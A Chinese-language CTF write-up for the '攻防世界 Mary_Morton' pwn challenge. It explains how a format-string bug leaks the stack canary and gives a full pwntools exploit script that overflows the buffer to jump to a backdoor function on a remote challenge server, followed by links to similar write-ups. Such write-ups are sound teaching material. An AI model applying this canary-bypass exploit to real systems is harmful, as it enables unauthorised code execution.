攻防世界Mary

64位程序，开启了canary和nx保护

执行以下，效果如下：

有提示：

输入1那块存在栈溢出

输入2那块存在格式化字符串漏洞

拖到ida看一下

main函数：

栈溢出的函数：

有canary保护，根据程序可以看出，v2应该就是canary的值，一开始，将_readfsqword(0x28u)的值给v2，后来又和v2做异或操作，只有v2与它还相等，程序返回0，否则返回不为零的数。

加入了canary后，栈帧情况如下图：

根据注释：buf在rbp-90h，v2在rbp-8h，所以，覆盖返回地址的话，需要0x90-0x8=0x88覆盖局部变量，然后放上canary的值，在8个“a”覆盖ebp，最后加上system的返回地址既可以。

格式化字符串漏洞函数：

攻击可以用栈溢出，但是缺少canary的值，可以用格式化字符串漏洞来泄漏，buf和v2的位置在两个函数里都一样

首先看下我们输入时候的偏移

%p可以泄露十六位的地址

可以数到，我们输入后的偏移为6

又因为，buf和v2本来的差距就有0x90-8h=0x88 0x88/0x8=0x11(十进制17)

所以，总共需要往后找17+6=23个地址上即存canary的值

在text段，找到后门函数（看下text段）

根据以上，可以写exp

#coding=utf-8
from pwn import *context.log_level = 'debug'
p = remote('111.198.29.45',56161)p.recvuntil("Exit the battle ")
p.sendline(str(2))#先进入格式化函数泄漏cannary
p.sendline("%23$p")#泄漏cannary
p.recvuntil("0x")
canary = int(p.recv(16),16)#接收16个字节p.recvuntil("Exit the battle ")
payload = "a"*0x88 + p64(canary) + 0x8*"a" + p64(0x04008DA)
p.sendline(str(1))
p.sendline(payload)
p.interactive()

运行结果：

攻防世界Mary_Morton相关推荐

攻防世界 Mary_Morton
刚开始我们都要ida静态分析一下当为1的时候,发生格式化字符串泄露canary 当为2时候,栈溢出到后门函数获得flag 先通过格式化字符串泄露计算偏移量发现为第6个参数,然而 buf到cana ...
攻防世界Mary_Morton wp
首先查看他的保护机制:(checksec) 有canary保护然后我们拖进ida发现两处溢出点: 看一下流程图和汇编可以知道readsqword这个地方有canary保护,只有 rax 和fs:28 ...
[攻防世界 pwn]——Mary_Morton
[攻防世界 pwn]--Mary_Morton 题目地址: https://adworld.xctf.org.cn/ 题目: checksec看下,64位还开启了NX和canary保护.(一般开启ca ...
攻防世界高手进阶区 ——Mary_Morton
攻防世界高手进阶区 --Mary_Morton 不容易呀,这都已经是第七题了,继续加油! 一,老规矩,先分析一下文件 checksec一下发现开启了栈溢出,可能这个题就是学习栈溢出漏洞绕过的. 运行 ...
攻防世界(pwn)--Mary_Morton 利用格式化字符串+栈溢出破解Canary的保护机制
ctf(pwn) canary保护机制讲解与破解方法介绍程序执行流程有三个选项,1是利用栈溢出,2是利用格式化字符串,3是退出;可连续输入多次; IDA分析解题思路程序存在canary保护 ...
攻防世界 Pwn 进阶第一页
00 要把它跟之前新手区的放在一起总结,先稍稍回顾一下新手区. 攻防世界 Pwn 新手 1.栈溢出,从简单到难,开始有后门函数,到需要自己写函数参数,到最后的ret2libc. 常见漏洞点有read( ...
攻防世界pwn--Mary_Morton
攻防世界pwn–Mary_Morton file 一下,查看文件属性 checksec一下,查看保护措施 ① 开了canary,在调用函数的时候会在栈上设置一个标志,标志的位置: ② 开了NX,栈不可 ...
【攻防世界001】Guess-the-Number
攻防世界之前刷了几十题了,没写wp,感觉很简单没啥意思.后来参加了几次比赛,发现有点干不动,决定还是老老实实刷题好了.这是第一篇wp,这题很简单,是个jar,用jd-gui可以得到java源码. 原来 ...
攻防世界(Pwn) forgot---栈溢出；(方法二)
攻防世界(Pwn) forgot-栈溢出:(方法一) 里面对问题描述的更详细一点返回目标函数 0x80486CC 方法二(爆破流) 因为最终返回的是 v3[0]-v3[9] 之中的一个函数, v3[ ...

攻防世界Mary_Morton

攻防世界Mary_Morton相关推荐

最新文章

热门文章